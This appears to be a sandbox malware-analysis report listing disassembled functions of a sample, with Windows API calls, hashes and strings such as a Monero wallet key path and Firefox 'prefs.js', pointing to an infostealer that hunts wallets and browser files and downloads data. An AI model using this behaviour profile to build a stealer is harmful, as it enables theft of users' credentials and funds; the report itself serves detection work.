Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 2d257859c498dbb710ec2ffcdd646412babae28fd075bfed882a97982be86ca6
Instruction ID: 9fa8f6cf71c21309cc82cb9edf45792994e2b7982301d40ccab0169cf0f3b7ad
Opcode Fuzzy Hash: 2d257859c498dbb710ec2ffcdd646412babae28fd075bfed882a97982be86ca6
Instruction Fuzzy Hash: 965143B6914218EBCB24EBB0DC89FEA737CBB58300F40458CB65996050DB79AB85CF91

Function 007AF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007C15B8,007C0D96), ref: 007AF71E
StrCmpCA.SHLWAPI(?,007C15BC), ref: 007AF76F
StrCmpCA.SHLWAPI(?,007C15C0), ref: 007AF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 007AFAB1
FindClose.KERNEL32(000000FF), ref: 007AFAC3

Strings

prefs.js, xrefs: 007AF812

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 4e741f0cc41cccabd6c2414c7837955257f014f675b79d1a7083b8b6efb2675c
Instruction ID: f20d8ee2658f3e19fcf1a53c7d648055d72baa0abc33d04b37df9e7206f106f0
Opcode Fuzzy Hash: 4e741f0cc41cccabd6c2414c7837955257f014f675b79d1a7083b8b6efb2675c
Instruction Fuzzy Hash: 07B11371910118FBDB24FF60DC99FEE7379AF95300F4086A8E50A96151EF386B49CB92

Function 007A16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007C510C,?,?,?,007C51B4,?,?,00000000,?,00000000), ref: 007A1923
StrCmpCA.SHLWAPI(?,007C525C), ref: 007A1973
StrCmpCA.SHLWAPI(?,007C5304), ref: 007A1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007A1D40
DeleteFileA.KERNEL32(00000000), ref: 007A1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 007A1E20
FindClose.KERNEL32(000000FF), ref: 007A1E32

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

Strings

\*.*, xrefs: 007A17F1

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c6a629514237ae93f243698757ff3ec6470daf230806c735b11f2937dd90110f
Instruction ID: fac5b5dfa46ca4756713892d340685cdfbfa9452744429a24ca480b58d49052c
Opcode Fuzzy Hash: c6a629514237ae93f243698757ff3ec6470daf230806c735b11f2937dd90110f
Instruction Fuzzy Hash: FF12AF71910118FADB25FB60DCAAFEE7378AF54300F4045A9B50666491EF386F89CFA1

Function 007ADA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007C14B0,007C0C2A), ref: 007ADAEB
StrCmpCA.SHLWAPI(?,007C14B4), ref: 007ADB33
StrCmpCA.SHLWAPI(?,007C14B8), ref: 007ADB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 007ADDCC
FindClose.KERNEL32(000000FF), ref: 007ADDDE

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 712c86b2f6ab6ab8f3b1f1259fe7f9dcc981e26071ad5f6e90dd50c191250ee5
Instruction ID: 52e81e8f868f0e30f7295a033cd574f0b736d01a1c562e4edbc9ecb6f2866aa8
Opcode Fuzzy Hash: 712c86b2f6ab6ab8f3b1f1259fe7f9dcc981e26071ad5f6e90dd50c191250ee5
Instruction Fuzzy Hash: CB912772910104F7DB14FBB0DC9AAED737DABD5300F408668F90A96551EE38AF198B92

Function 007A60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 007BA7E6

Part of subcall function 007A47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 007A4839
Part of subcall function 007A47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 007A4849

InternetOpenA.WININET(007C0DF7,00000001,00000000,00000000,00000000), ref: 007A610F
StrCmpCA.SHLWAPI(?,013FFAA0), ref: 007A6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 007A618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 007A61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 007A61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 007A620A
CloseHandle.KERNEL32(?,?,00000400), ref: 007A6249
InternetCloseHandle.WININET(?), ref: 007A6253
InternetCloseHandle.WININET(00000000), ref: 007A6260

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 49332b9136cdc98ba7c6578fb956ba637aeee270dd11142dbdfce382e712c291
Instruction ID: 8799b1b6627c3826349064106a221bd45577f0de12d5d90170a0eba4ddeead8b
Opcode Fuzzy Hash: 49332b9136cdc98ba7c6578fb956ba637aeee270dd11142dbdfce382e712c291
Instruction Fuzzy Hash: 425180B1900218EBDB20DFA0DC89BEE77B8FB44701F108198B605AB1D0DB796E85CF95

Function 007B7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

GetKeyboardLayoutList.USER32(00000000,00000000,007C05AF), ref: 007B7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 007B7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 007B7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 007B7C62
LocalFree.KERNEL32(00000000), ref: 007B7D22

Strings

/ , xrefs: 007B7C7F

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8f649f9be2037d9821eee7318d807eb4197e0cf64cd0d19c75a247b39c10a746
Instruction ID: 3a832da6104148dfdba1d79bbe09e089f9ef96381b9116653009c5416612ea3b
Opcode Fuzzy Hash: 8f649f9be2037d9821eee7318d807eb4197e0cf64cd0d19c75a247b39c10a746
Instruction Fuzzy Hash: FA415D71944218FBDB24EB94DC99BEEB7B8FF44700F204199E00966191DB382F85CFA1

Function 007AE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 007BA740: lstrcpy.KERNEL32(007C0E17,00000000), ref: 007BA788

Part of subcall function 007BA920: lstrcpy.KERNEL32(00000000,?), ref: 007BA972
Part of subcall function 007BA920: lstrcat.KERNEL32(00000000), ref: 007BA982

Part of subcall function 007BA9B0: lstrlen.KERNEL32(?,013F90A0,?,\Monero\wallet.keys,007C0E17), ref: 007BA9C5
Part of subcall function 007BA9B0: lstrcpy.KERNEL32(00000000), ref: 007BAA04
Part of subcall function 007BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 007BAA12

Part of subcall function 007BA8A0: lstrcpy.KERNEL32(?,007C0E17), ref: 007BA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,007C0D73), ref: 007AE4A2
StrCmpCA.SHLWAPI(?,007C14F8), ref: 007AE4F2
StrCmpCA.SHLWAPI(?,007C14FC), ref: 007AE508
FindNextFileA.KERNEL32(000000FF,?), ref: 007AEBDF

Strings

\*.*, xrefs: 007AE44D

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000965000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000096B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.00000000009FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000C99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364905393.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365167639.0000000000CA9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365284297.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365299659.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: f367fbd496433997e55782e04b284c6481d3ad392ac6229270700759bdb6b27e
Instruction ID: 51db8a500153ceb8754804e82a461bc80a455c04db5525275e0aabb3febb8a53
Opcode Fuzzy Hash: f367fbd496433997e55782e04b284c6481d3ad392ac6229270700759bdb6b27e
Instruction Fuzzy Hash: 3C12F171910118FADB25FB60DCAAFED7378AF54300F4045A9B50A96491EF386F49CFA2

Function 007B9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 007B961E
Process32First.KERNEL32(007C0ACA,00000128), ref: 007B9632
Process32Next.KERNEL32(007C0ACA,00000128), ref: 007B9647
StrCmpCA.SHLWAPI(?,00000000), ref: 007B965C
CloseHandle.KERNEL32(007C0ACA), ref: 007B967A

Memory Dump Source

Source File: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000000.00000002.2364428080.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000007FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000825000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000828000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000851000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000085D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.000000000088F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364452595.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
